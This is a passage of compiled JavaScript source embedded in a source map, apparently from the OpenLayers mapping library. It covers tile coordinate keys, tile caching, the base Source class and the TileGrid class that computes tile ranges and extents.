x, y];\n }\n}\n/**\n * @param {number} z Z.\n * @param {number} x X.\n * @param {number} y Y.\n * @return {string} Key.\n */\nexport function getKeyZXY(z, x, y) {\n return z + '/' + x + '/' + y;\n}\n/**\n * Get the key for a tile coord.\n * @param {TileCoord} tileCoord The tile coord.\n * @return {string} Key.\n */\nexport function getKey(tileCoord) {\n return getKeyZXY(tileCoord[0], tileCoord[1], tileCoord[2]);\n}\n/**\n * Get the tile cache key for a tile key obtained through `tile.getKey()`.\n * @param {string} tileKey The tile key.\n * @return {string} The cache key.\n */\nexport function getCacheKeyForTileKey(tileKey) {\n var _a = tileKey\n .substring(tileKey.lastIndexOf('/') + 1, tileKey.length)\n .split(',')\n .map(Number), z = _a[0], x = _a[1], y = _a[2];\n return getKeyZXY(z, x, y);\n}\n/**\n * Get a tile coord given a key.\n * @param {string} key The tile coord key.\n * @return {TileCoord} The tile coord.\n */\nexport function fromKey(key) {\n return key.split('/').map(Number);\n}\n/**\n * @param {TileCoord} tileCoord Tile coord.\n * @return {number} Hash.\n */\nexport function hash(tileCoord) {\n return (tileCoord[1] << tileCoord[0]) + tileCoord[2];\n}\n/**\n * @param {TileCoord} tileCoord Tile coordinate.\n * @param {!import(\"./tilegrid/TileGrid.js\").default} tileGrid Tile grid.\n * @return {boolean} Tile coordinate is within extent and zoom level range.\n */\nexport function withinExtentAndZ(tileCoord, tileGrid) {\n var z = tileCoord[0];\n var x = tileCoord[1];\n var y = tileCoord[2];\n if (tileGrid.getMinZoom() > z || z > tileGrid.getMaxZoom()) {\n return false;\n }\n var tileRange = tileGrid.getFullTileRange(z);\n if (!tileRange) {\n return true;\n }\n else {\n return tileRange.containsXY(x, y);\n }\n}\n//# sourceMappingURL=tilecoord.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/TileCache\n */\nimport LRUCache from './structs/LRUCache.js';\nimport { fromKey, getKey } from './tilecoord.js';\nvar TileCache = /** @class */ (function (_super) {\n __extends(TileCache, _super);\n function TileCache() {\n return _super !== null && _super.apply(this, arguments) || this;\n }\n /**\n * @param {!Object<string, boolean>} usedTiles Used tiles.\n */\n TileCache.prototype.expireCache = function (usedTiles) {\n while (this.canExpireCache()) {\n var tile = this.peekLast();\n if (tile.getKey() in usedTiles) {\n break;\n }\n else {\n this.pop().release();\n }\n }\n };\n /**\n * Prune all tiles from the cache that don't have the same z as the newest tile.\n */\n TileCache.prototype.pruneExceptNewestZ = function () {\n if (this.getCount() === 0) {\n return;\n }\n var key = this.peekFirstKey();\n var tileCoord = fromKey(key);\n var z = tileCoord[0];\n this.forEach(function (tile) {\n if (tile.tileCoord[0] !== z) {\n this.remove(getKey(tile.tileCoord));\n tile.release();\n }\n }.bind(this));\n };\n return TileCache;\n}(LRUCache));\nexport default TileCache;\n//# sourceMappingURL=TileCache.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/source/Source\n */\nimport BaseObject from '../Object.js';\nimport { abstract } from '../util.js';\nimport { get as getProjection } from '../proj.js';\n/**\n * @typedef {'undefined' | 'loading' | 'ready' | 'error'} State\n * State of the source, one of 'undefined', 'loading', 'ready' or 'error'.\n */\n/**\n * A function that takes a {@link module:ol/PluggableMap~FrameState} and returns a string or\n * an array of strings representing source attributions.\n *\n * @typedef {function(import(\"../PluggableMap.js\").FrameState): (string|Array<string>)} Attribution\n */\n/**\n * A type that can be used to provide attribution information for data sources.\n *\n * It represents either\n * * a simple string (e.g. `'© Acme Inc.'`)\n * * an array of simple strings (e.g. `['© Acme Inc.', '© Bacme Inc.']`)\n * * a function that returns a string or array of strings ({@link module:ol/source/Source~Attribution})\n *\n * @typedef {string|Array<string>|Attribution} AttributionLike\n */\n/**\n * @typedef {Object} Options\n * @property {AttributionLike} [attributions] Attributions.\n * @property {boolean} [attributionsCollapsible=true] Attributions are collapsible.\n * @property {import(\"../proj.js\").ProjectionLike} [projection] Projection. Default is the view projection.\n * @property {import(\"./Source.js\").State} [state='ready'] State.\n * @property {boolean} [wrapX=false] WrapX.\n * @property {boolean} [interpolate=false] Use interpolated values when resampling. By default,\n * the nearest neighbor is used when resampling.\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * Base class for {@link module:ol/layer/Layer~Layer} sources.\n *\n * A generic `change` event is triggered when the state of the source changes.\n * @abstract\n * @api\n */\nvar Source = /** @class */ (function (_super) {\n __extends(Source, _super);\n /**\n * @param {Options} options Source options.\n */\n function Source(options) {\n var _this = _super.call(this) || this;\n /**\n * @protected\n * @type {import(\"../proj/Projection.js\").default|null}\n */\n _this.projection = getProjection(options.projection);\n /**\n * @private\n * @type {?Attribution}\n */\n _this.attributions_ = adaptAttributions(options.attributions);\n /**\n * @private\n * @type {boolean}\n */\n _this.attributionsCollapsible_ =\n options.attributionsCollapsible !== undefined\n ? options.attributionsCollapsible\n : true;\n /**\n * This source is currently loading data. Sources that defer loading to the\n * map's tile queue never set this to `true`.\n * @type {boolean}\n */\n _this.loading = false;\n /**\n * @private\n * @type {import(\"./Source.js\").State}\n */\n _this.state_ = options.state !== undefined ? options.state : 'ready';\n /**\n * @private\n * @type {boolean}\n */\n _this.wrapX_ = options.wrapX !== undefined ? options.wrapX : false;\n /**\n * @private\n * @type {boolean}\n */\n _this.interpolate_ = !!options.interpolate;\n /**\n * @protected\n * @type {function(import(\"../View.js\").ViewOptions):void}\n */\n _this.viewResolver = null;\n /**\n * @protected\n * @type {function(Error):void}\n */\n _this.viewRejector = null;\n var self = _this;\n /**\n * @private\n * @type {Promise<import(\"../View.js\").ViewOptions>}\n */\n _this.viewPromise_ = new Promise(function (resolve, reject) {\n self.viewResolver = resolve;\n self.viewRejector = reject;\n });\n return _this;\n }\n /**\n * Get the attribution function for the source.\n * @return {?Attribution} Attribution function.\n * @api\n */\n Source.prototype.getAttributions = function () {\n return this.attributions_;\n };\n /**\n * @return {boolean} Attributions are collapsible.\n * @api\n */\n Source.prototype.getAttributionsCollapsible = function () {\n return this.attributionsCollapsible_;\n };\n /**\n * Get the projection of the source.\n * @return {import(\"../proj/Projection.js\").default|null} Projection.\n * @api\n */\n Source.prototype.getProjection = function () {\n return this.projection;\n };\n /**\n * @abstract\n * @return {Array<number>|null} Resolutions.\n */\n Source.prototype.getResolutions = function () {\n return abstract();\n };\n /**\n * @return {Promise<import(\"../View.js\").ViewOptions>} A promise for view-related properties.\n */\n Source.prototype.getView = function () {\n return this.viewPromise_;\n };\n /**\n * Get the state of the source, see {@link import(\"./Source.js\").State} for possible states.\n * @return {import(\"./Source.js\").State} State.\n * @api\n */\n Source.prototype.getState = function () {\n return this.state_;\n };\n /**\n * @return {boolean|undefined} Wrap X.\n */\n Source.prototype.getWrapX = function () {\n return this.wrapX_;\n };\n /**\n * @return {boolean} Use linear interpolation when resampling.\n */\n Source.prototype.getInterpolate = function () {\n return this.interpolate_;\n };\n /**\n * Refreshes the source. The source will be cleared, and data from the server will be reloaded.\n * @api\n */\n Source.prototype.refresh = function () {\n this.changed();\n };\n /**\n * Set the attributions of the source.\n * @param {AttributionLike|undefined} attributions Attributions.\n * Can be passed as `string`, `Array<string>`, {@link module:ol/source/Source~Attribution},\n * or `undefined`.\n * @api\n */\n Source.prototype.setAttributions = function (attributions) {\n this.attributions_ = adaptAttributions(attributions);\n this.changed();\n };\n /**\n * Set the state of the source.\n * @param {import(\"./Source.js\").State} state State.\n */\n Source.prototype.setState = function (state) {\n this.state_ = state;\n this.changed();\n };\n return Source;\n}(BaseObject));\n/**\n * Turns the attributions option into an attributions function.\n * @param {AttributionLike|undefined} attributionLike The attribution option.\n * @return {Attribution|null} An attribution function (or null).\n */\nfunction adaptAttributions(attributionLike) {\n if (!attributionLike) {\n return null;\n }\n if (Array.isArray(attributionLike)) {\n return function (frameState) {\n return attributionLike;\n };\n }\n if (typeof attributionLike === 'function') {\n return attributionLike;\n }\n return function (frameState) {\n return [attributionLike];\n };\n}\nexport default Source;\n//# sourceMappingURL=Source.js.map","/**\n * @module ol/tilegrid/TileGrid\n */\nimport TileRange, { createOrUpdate as createOrUpdateTileRange, } from '../TileRange.js';\nimport { DEFAULT_TILE_SIZE } from './common.js';\nimport { assert } from '../asserts.js';\nimport { ceil, clamp, floor } from '../math.js';\nimport { createOrUpdate, getTopLeft } from '../extent.js';\nimport { createOrUpdate as createOrUpdateTileCoord } from '../tilecoord.js';\nimport { intersectsLinearRing } from '../geom/flat/intersectsextent.js';\nimport { isSorted, linearFindNearest } from '../array.js';\nimport { toSize } from '../size.js';\n/**\n * @private\n * @type {import(\"../tilecoord.js\").TileCoord}\n */\nvar tmpTileCoord = [0, 0, 0];\n/**\n * Number of decimal digits to consider in integer values when rounding.\n * @type {number}\n */\nvar DECIMALS = 5;\n/**\n * @typedef {Object} Options\n * @property {import(\"../extent.js\").Extent} [extent] Extent for the tile grid. No tiles outside this\n * extent will be requested by {@link module:ol/source/Tile~TileSource} sources. When no `origin` or\n * `origins` are configured, the `origin` will be set to the top-left corner of the extent.\n * @property {number} [minZoom=0] Minimum zoom.\n * @property {import(\"../coordinate.js\").Coordinate} [origin] The tile grid origin, i.e. where the `x`\n * and `y` axes meet (`[z, 0, 0]`). Tile coordinates increase left to right and downwards. If not\n * specified, `extent` or `origins` must be provided.\n * @property {Array<import(\"../coordinate.js\").Coordinate>} [origins] Tile grid origins, i.e. where\n * the `x` and `y` axes meet (`[z, 0, 0]`), for each zoom level. If given, the array length\n * should match the length of the `resolutions` array, i.e. each resolution can have a different\n * origin. Tile coordinates increase left to right and downwards. If not specified, `extent` or\n * `origin` must be provided.\n * @property {!Array<number>} resolutions Resolutions. The array index of each resolution needs\n * to match the zoom level. This means that even if a `minZoom` is configured, the resolutions\n * array will have a length of `maxZoom + 1`.\n * @property {Array<import(\"../size.js\").Size>} [sizes] Number of tile rows and columns\n * of the grid for each zoom level. If specified the values\n * define each zoom level's extent together with the `origin` or `origins`.\n * A grid `extent` can be configured in addition, and will further limit the extent\n * for which tile requests are made by sources. If the bottom-left corner of\n * an extent is used as `origin` or `origins`, then the `y` value must be\n * negative because OpenLayers tile coordinates use the top left as the origin.\n * @property {number|import(\"../size.js\").Size} [tileSize] Tile size.\n * Default is `[256, 256]`.\n * @property {Array<number|import(\"../size.js\").Size>} [tileSizes] Tile sizes. If given, the array length\n * should match the length of the `resolutions` array, i.e. each resolution can have a different\n * tile size.\n */\n/**\n * @classdesc\n * Base class for setting the grid pattern for sources accessing tiled-image\n * servers.\n * @api\n */\nvar TileGrid = /** @class */ (function () {\n /**\n * @param {Options} options Tile grid options.\n */\n function TileGrid(options) {\n /**\n * @protected\n * @type {number}\n */\n this.minZoom = options.minZoom !== undefined ? options.minZoom : 0;\n /**\n * @private\n * @type {!Array<number>}\n */\n this.resolutions_ = options.resolutions;\n assert(isSorted(this.resolutions_, function (a, b) {\n return b - a;\n }, true), 17); // `resolutions` must be sorted in descending order\n // check if we've got a consistent zoom factor and origin\n var zoomFactor;\n if (!options.origins) {\n for (var i = 0, ii = this.resolutions_.length - 1; i < ii; ++i) {\n if (!zoomFactor) {\n zoomFactor = this.resolutions_[i] / this.resolutions_[i + 1];\n }\n else {\n if (this.resolutions_[i] / this.resolutions_[i + 1] !== zoomFactor) {\n zoomFactor = undefined;\n break;\n }\n }\n }\n }\n /**\n * @private\n * @type {number|undefined}\n */\n this.zoomFactor_ = zoomFactor;\n /**\n * @protected\n * @type {number}\n */\n this.maxZoom = this.resolutions_.length - 1;\n /**\n * @private\n * @type {import(\"../coordinate.js\").Coordinate|null}\n */\n this.origin_ = options.origin !== undefined ? options.origin : null;\n /**\n * @private\n * @type {Array<import(\"../coordinate.js\").Coordinate>}\n */\n this.origins_ = null;\n if (options.origins !== undefined) {\n this.origins_ = options.origins;\n assert(this.origins_.length == this.resolutions_.length, 20); // Number of `origins` and `resolutions` must be equal\n }\n var extent = options.extent;\n if (extent !== undefined && !this.origin_ && !this.origins_) {\n this.origin_ = getTopLeft(extent);\n }\n assert((!this.origin_ && this.origins_) || (this.origin_ && !this.origins_), 18); // Either `origin` or `origins` must be configured, never both\n /**\n * @private\n * @type {Array<number|import(\"../size.js\").Size>}\n */\n this.tileSizes_ = null;\n if (options.tileSizes !== undefined) {\n this.tileSizes_ = options.tileSizes;\n assert(this.tileSizes_.length == this.resolutions_.length, 19); // Number of `tileSizes` and `resolutions` must be equal\n }\n /**\n * @private\n * @type {number|import(\"../size.js\").Size}\n */\n this.tileSize_ =\n options.tileSize !== undefined\n ? options.tileSize\n : !this.tileSizes_\n ? DEFAULT_TILE_SIZE\n : null;\n assert((!this.tileSize_ && this.tileSizes_) ||\n (this.tileSize_ && !this.tileSizes_), 22); // Either `tileSize` or `tileSizes` must be configured, never both\n /**\n * @private\n * @type {import(\"../extent.js\").Extent}\n */\n this.extent_ = extent !== undefined ? extent : null;\n /**\n * @private\n * @type {Array<import(\"../TileRange.js\").default>}\n */\n this.fullTileRanges_ = null;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n this.tmpSize_ = [0, 0];\n /**\n * @private\n * @type {import(\"../extent.js\").Extent}\n */\n this.tmpExtent_ = [0, 0, 0, 0];\n if (options.sizes !== undefined) {\n this.fullTileRanges_ = options.sizes.map(function (size, z) {\n var tileRange = new TileRange(Math.min(0, size[0]), Math.max(size[0] - 1, -1), Math.min(0, size[1]), Math.max(size[1] - 1, -1));\n if (extent) {\n var restrictedTileRange = this.getTileRangeForExtentAndZ(extent, z);\n tileRange.minX = Math.max(restrictedTileRange.minX, tileRange.minX);\n tileRange.maxX = Math.min(restrictedTileRange.maxX, tileRange.maxX);\n tileRange.minY = Math.max(restrictedTileRange.minY, tileRange.minY);\n tileRange.maxY = Math.min(restrictedTileRange.maxY, tileRange.maxY);\n }\n return tileRange;\n }, this);\n }\n else if (extent) {\n this.calculateTileRanges_(extent);\n }\n }\n /**\n * Call a function with each tile coordinate for a given extent and zoom level.\n *\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {number} zoom Integer zoom level.\n * @param {function(import(\"../tilecoord.js\").TileCoord): void} callback Function called with each tile coordinate.\n * @api\n */\n TileGrid.prototype.forEachTileCoord = function (extent, zoom, callback) {\n var tileRange = this.getTileRangeForExtentAndZ(extent, zoom);\n for (var i = tileRange.minX, ii = tileRange.maxX; i <= ii; ++i) {\n for (var j = tileRange.minY, jj = tileRange.maxY; j <= jj; ++j) {\n callback([zoom, i, j]);\n }\n }\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {function(number, import(\"../TileRange.js\").default): boolean} callback Callback.\n * @param {import(\"../TileRange.js\").default} [opt_tileRange] Temporary import(\"../TileRange.js\").default object.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Temporary import(\"../extent.js\").Extent object.\n * @return {boolean} Callback succeeded.\n */\n TileGrid.prototype.forEachTileCoordParentTileRange = function (tileCoord, callback, opt_tileRange, opt_extent) {\n var tileRange, x, y;\n var tileCoordExtent = null;\n var z = tileCoord[0] - 1;\n if (this.zoomFactor_ === 2) {\n x = tileCoord[1];\n y = tileCoord[2];\n }\n else {\n tileCoordExtent = this.getTileCoordExtent(tileCoord, opt_extent);\n }\n while (z >= this.minZoom) {\n if (this.zoomFactor_ === 2) {\n x = Math.floor(x / 2);\n y = Math.floor(y / 2);\n tileRange = createOrUpdateTileRange(x, x, y, y, opt_tileRange);\n }\n else {\n tileRange = this.getTileRangeForExtentAndZ(tileCoordExtent, z, opt_tileRange);\n }\n if (callback(z, tileRange)) {\n return true;\n }\n --z;\n }\n return false;\n };\n /**\n * Get the extent for this tile grid, if it was configured.\n * @return {import(\"../extent.js\").Extent} Extent.\n * @api\n */\n TileGrid.prototype.getExtent = function () {\n return this.extent_;\n };\n /**\n * Get the maximum zoom level for the grid.\n * @return {number} Max zoom.\n * @api\n */\n TileGrid.prototype.getMaxZoom = function () {\n return this.maxZoom;\n };\n /**\n * Get the minimum zoom level for the grid.\n * @return {number} Min zoom.\n * @api\n */\n TileGrid.prototype.getMinZoom = function () {\n return this.minZoom;\n };\n /**\n * Get the origin for the grid at the given zoom level.\n * @param {number} z Integer zoom level.\n * @return {import(\"../coordinate.js\").Coordinate} Origin.\n * @api\n */\n TileGrid.prototype.getOrigin = function (z) {\n if (this.origin_) {\n return this.origin_;\n }\n else {\n return this.origins_[z];\n }\n };\n /**\n * Get the resolution for the given zoom level.\n * @param {number} z Integer zoom level.\n * @return {number} Resolution.\n * @api\n */\n TileGrid.prototype.getResolution = function (z) {\n return this.resolutions_[z];\n };\n /**\n * Get the list of resolutions for the tile grid.\n * @return {Array<number>} Resolutions.\n * @api\n */\n TileGrid.prototype.getResolutions = function () {\n return this.resolutions_;\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"../TileRange.js\").default} [opt_tileRange] Temporary import(\"../TileRange.js\").default object.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Temporary import(\"../extent.js\").Extent object.\n * @return {import(\"../TileRange.js\").default|null} Tile range.\n */\n TileGrid.prototype.getTileCoordChildTileRange = function (tileCoord, opt_tileRange, opt_extent) {\n if (tileCoord[0] < this.maxZoom) {\n if (this.zoomFactor_ === 2) {\n var minX = tileCoord[1] * 2;\n var minY = tileCoord[2] * 2;\n return createOrUpdateTileRange(minX, minX + 1, minY, minY + 1, opt_tileRange);\n }\n var tileCoordExtent = this.getTileCoordExtent(tileCoord, opt_extent || this.tmpExtent_);\n return this.getTileRangeForExtentAndZ(tileCoordExtent, tileCoord[0] + 1, opt_tileRange);\n }\n return null;\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {number} z Integer zoom level.\n * @param {import(\"../TileRange.js\").default} [opt_tileRange] Temporary import(\"../TileRange.js\").default object.\n * @return {import(\"../TileRange.js\").default|null} Tile range.\n */\n TileGrid.prototype.getTileRangeForTileCoordAndZ = function (tileCoord, z, opt_tileRange) {\n if (z > this.maxZoom || z < this.minZoom) {\n return null;\n }\n var tileCoordZ = tileCoord[0];\n var tileCoordX = tileCoord[1];\n var tileCoordY = tileCoord[2];\n if (z === tileCoordZ) {\n return createOrUpdateTileRange(tileCoordX, tileCoordY, tileCoordX, tileCoordY, opt_tileRange);\n }\n if (this.zoomFactor_) {\n var factor = Math.pow(this.zoomFactor_, z - tileCoordZ);\n var minX = Math.floor(tileCoordX * factor);\n var minY = Math.floor(tileCoordY * factor);\n if (z < tileCoordZ) {\n return createOrUpdateTileRange(minX, minX, minY, minY, opt_tileRange);\n }\n var maxX = Math.floor(factor * (tileCoordX + 1)) - 1;\n var maxY = Math.floor(factor * (tileCoordY + 1)) - 1;\n return createOrUpdateTileRange(minX, maxX, minY, maxY, opt_tileRange);\n }\n var tileCoordExtent = this.getTileCoordExtent(tileCoord, this.tmpExtent_);\n return this.getTileRangeForExtentAndZ(tileCoordExtent, z, opt_tileRange);\n };\n /**\n * Get the extent for a tile range.\n * @param {number} z Integer zoom level.\n * @param {import(\"../TileRange.js\").default} tileRange Tile range.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Temporary import(\"../extent.js\").Extent object.\n * @return {import(\"../extent.js\").Extent} Extent.\n */\n TileGrid.prototype.getTileRangeExtent = function (z, tileRange, opt_extent) {\n var origin = this.getOrigin(z);\n var resolution = this.getResolution(z);\n var tileSize = toSize(this.getTileSize(z), this.tmpSize_);\n var minX = origin[0] + tileRange.minX * tileSize[0] * resolution;\n var maxX = origin[0] + (tileRange.maxX + 1) * tileSize[0] * resolution;\n var minY = origin[1] + tileRange.minY * tileSize[1] * resolution;\n var maxY = origin[1] + (tileRange.maxY + 1) * tileSize[1] * resolution;\n return createOrUpdate(minX, minY, maxX, maxY, opt_extent);\n };\n /**\n * Get a tile range for the given extent and integer zoom level.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {number} z Integer zoom level.\n * @param {import(\"../TileRange.js\").default} [opt_tileRange] Temporary tile range object.\n * @return {import(\"../TileRange.js\").default} Tile range.\n */\n TileGrid.prototype.getTileRangeForExtentAndZ = function (extent, z, opt_tileRange) {\n var tileCoord = tmpTileCoord;\n this.getTileCoordForXYAndZ_(extent[0], extent[3], z, false, tileCoord);\n var minX = tileCoord[1];\n var minY = tileCoord[2];\n this.getTileCoordForXYAndZ_(extent[2], extent[1], z, true, tileCoord);\n return createOrUpdateTileRange(minX, tileCoord[1], minY, tileCoord[2], opt_tileRange);\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @return {import(\"../coordinate.js\").Coordinate} Tile center.\n */\n TileGrid.prototype.getTileCoordCenter = function (tileCoord) {\n var origin = this.getOrigin(tileCoord[0]);\n var resolution = this.getResolution(tileCoord[0]);\n var tileSize = toSize(this.getTileSize(tileCoord[0]), this.tmpSize_);\n return [\n origin[0] + (tileCoord[1] + 0.5) * tileSize[0] * resolution,\n origin[1] - (tileCoord[2] + 0.5) * tileSize[1] * resolution,\n ];\n };\n /**\n * Get the extent of a tile coordinate.\n *\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Temporary extent object.\n * @return {import(\"../extent.js\").Extent} Extent.\n * @api\n */\n TileGrid.prototype.getTileCoordExtent = function (tileCoord, opt_extent) {\n var origin = this.getOrigin(tileCoord[0]);\n var resolution = this.getResolution(tileCoord[0]);\n var tileSize = toSize(this.getTileSize(tileCoord[0]), this.tmpSize_);\n var minX = origin[0] + tileCoord[1] * tileSize[0] * resolution;\n var minY = origin[1] - (tileCoord[2] + 1) * tileSize[1] * resolution;\n var maxX = minX + tileSize[0] * resolution;\n var maxY = minY + tileSize[1] * resolution;\n return createOrUpdate(minX, minY, maxX, maxY, opt_extent);\n };\n /**\n * Get the tile coordinate for the given map coordinate and resolution. This\n * method considers that coordinates that intersect tile boundaries should be\n * assigned the higher tile coordinate.\n *\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {number} resolution Resolution.\n * @param {import(\"../tilecoord.js\").TileCoord} [opt_tileCoord] Destination import(\"../tilecoord.js\").TileCoord object.\n * @return {import(\"../tilecoord.js\").TileCoord} Tile coordinate.\n * @api\n */\n TileGrid.prototype.getTileCoordForCoordAndResolution = function (coordinate, resolution, opt_tileCoord) {\n return this.getTileCoordForXYAndResolution_(coordinate[0], coordinate[1], resolution, false, opt_tileCoord);\n };\n /**\n * Note that this method should not be called for resolutions that correspond\n * to an integer zoom level. Instead call the `getTileCoordForXYAndZ_` method.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {number} resolution Resolution (for a non-integer zoom level).\n * @param {boolean} reverseIntersectionPolicy Instead of letting edge\n * intersections go to the higher tile coordinate, let edge intersections\n * go to the lower tile coordinate.\n * @param {import(\"../tilecoord.js\").TileCoord} [opt_tileCoord] Temporary import(\"../tilecoord.js\").TileCoord object.\n * @return {import(\"../tilecoord.js\").TileCoord} Tile coordinate.\n * @private\n */\n TileGrid.prototype.getTileCoordForXYAndResolution_ = function (x, y, resolution, reverseIntersectionPolicy, opt_tileCoord) {\n var z = this.getZForResolution(resolution);\n var scale = resolution / this.getResolution(z);\n var origin = this.getOrigin(z);\n var tileSize = toSize(this.getTileSize(z), this.tmpSize_);\n var tileCoordX = (scale * (x - origin[0])) / resolution / tileSize[0];\n var tileCoordY = (scale * (origin[1] - y)) / resolution / tileSize[1];\n if (reverseIntersectionPolicy) {\n tileCoordX = ceil(tileCoordX, DECIMALS) - 1;\n tileCoordY = ceil(tileCoordY, DECIMALS) - 1;\n }\n else {\n tileCoordX = floor(tileCoordX, DECIMALS);\n tileCoordY = floor(tileCoordY, DECIMALS);\n }\n return createOrUpdateTileCoord(z, tileCoordX, tileCoordY, opt_tileCoord);\n };\n /**\n * Although there is repetition between this method and `getTileCoordForXYAndResolution_`,\n * they should have separate implementations. This method is for integer zoom\n * levels. The other method should only be called for resolutions corresponding\n * to non-integer zoom levels.\n * @param {number} x Map x coordinate.\n * @param {number} y Map y coordinate.\n * @param {number} z Integer zoom level.\n * @param {boolean} reverseIntersectionPolicy Instead of letting edge\n * intersections go to the higher tile coordinate, let edge intersections\n * go to the lower tile coordinate.\n * @param {import(\"../tilecoord.js\").TileCoord} [opt_tileCoord] Temporary import(\"../tilecoord.js\").TileCoord object.\n * @return {import(\"../tilecoord.js\").TileCoord} Tile coordinate.\n * @private\n */\n TileGrid.prototype.getTileCoordForXYAndZ_ = function (x, y, z, reverseIntersectionPolicy, opt_tileCoord) {\n var origin = this.getOrigin(z);\n var resolution = this.getResolution(z);\n var tileSize = toSize(this.getTileSize(z), this.tmpSize_);\n var tileCoordX = (x - origin[0]) / resolution / tileSize[0];\n var tileCoordY = (origin[1] - y) / resolution / tileSize[1];\n if (reverseIntersectionPolicy) {\n tileCoordX = ceil(tileCoordX, DECIMALS) - 1;\n tileCoordY = ceil(tileCoordY, DECIMALS) - 1;\n }\n else {\n tileCoordX = floor(tileCoordX, DECIMALS);\n tileCoordY = floor(tileCoordY, DECIMALS);\n }\n return createOrUpdateTileCoord(z, tileCoordX, tileCoordY, opt_tileCoord);\n };\n /**\n * Get a tile coordinate given a map coordinate and zoom level.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {number} z Zoom level.\n * @param {import(\"../tilecoord.js\").TileCoord} [opt_tileCoord] Destination import(\"../tilecoord.js\").TileCoord object.\n * @return {import(\"../tilecoord.js\").TileCoord} Tile coordinate.\n * @api\n */\n TileGrid.prototype.getTileCoordForCoordAndZ = function (coordinate, z, opt_tileCoord) {\n return this.getTileCoordForXYAndZ_(coordinate[0], coordinate[1], z, false, opt_tileCoord);\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @return {number} Tile resolution.\n */\n TileGrid.prototype.getTileCoordResolution = function (tileCoord) {\n return this.resolutions_[tileCoord[0]];\n };\n /**\n * Get the tile size for a zoom level. The type of the return value matches the\n * `tileSize` or `tileSizes` that the tile grid was configured with. To always\n * get an {@link import(\"../size.js\").Size}, run the result through {@link module:ol/size.toSize}.\n * @param {number} z Z.\n * @return {number|import(\"../size.js\").Size} Tile size.\n * @api\n */\n TileGrid.prototype.getTileSize = function (z) {\n if (this.tileSize_) {\n return this.tileSize_;\n }\n else {\n return this.tileSizes_[z];\n }\n };\n /**\n * @param {number} z Zoom level.\n * @return {import(\"../TileRange.js\").default} Extent tile range for the specified zoom level.\n */\n TileGrid.prototype.getFullTileRange = function (z) {\n if (!this.fullTileRanges_) {\n return this.extent_\n ? this.getTileRangeForExtentAndZ(this.extent_, z)\n : null;\n }\n else {\n return this.fullTileRanges_[z];\n }\n };\n /**\n * @param {number} resolution Resolution.\n * @param {number|import(\"../array.js\").NearestDirectionFunction} [opt_direction]\n * If 0, the nearest resolution will be used.\n * If 1, the nearest higher resolution (lower Z) will be used. If -1, the\n * nearest lower resolution (higher Z) will be used. Default is 0.\n * Use a {@link module:ol/array~NearestDirectionFunction} for more precise control.\n *\n * For example to change tile Z at the midpoint of zoom levels\n * ```js\n * function(value, high, low) {\n * return value - low * Math.sqrt(high / low);\n * }\n * ```\n * @return {number} Z.\n * @api\n */\n TileGrid.prototype.getZForResolution = function (resolution, opt_direction) {\n var z = linearFindNearest(this.resolutions_, resolution, opt_direction || 0);\n return clamp(z, this.minZoom, this.maxZoom);\n };\n /**\n * The tile with the provided tile coordinate intersects the given viewport.\n * @param {import('../tilecoord.js').TileCoord} tileCoord Tile coordinate.\n * @param {Array<number>} viewport Viewport as returned from {@link module:ol/extent.getRotatedViewport}.\n * @return {boolean} The tile with the provided tile coordinate intersects the given viewport.\n */\n TileGrid.prototype.tileCoordIntersectsViewport = function (tileCoord, viewport) {\n return intersectsLinearRing(viewport, 0, viewport.length, 2, this.getTileCoordExtent(tileCoord));\n };\n /**\n * @param {!import(\"../extent.js\").Extent} extent Extent for this tile grid.\n * @private\n */\n TileGrid.prototype.calculateTileRanges_ = function (extent) {\n var length = this.resolutions_.length;\n var fullTileRanges = new Array(length);\n for (var z = this.minZoom; z < length; ++z) {\n fullTileRanges[z] = this.getTileRangeForExtentAndZ(extent, z);\n }\n this.fullTileRanges_ = fullTileRanges;\n };\n return TileGrid;\n}());\nexport default TileGrid;\n//# sourceMappingURL=TileGrid.js.map","/**\n * @module ol/tilegrid/common\n */\n/**\n * Default maximum zoom for default tile grids.\n * @type {number}\n */\nexport var DEFAULT_MAX_ZOOM = 42;\n/**\n * Default tile size.\n * @type {number}\n */\nexport var 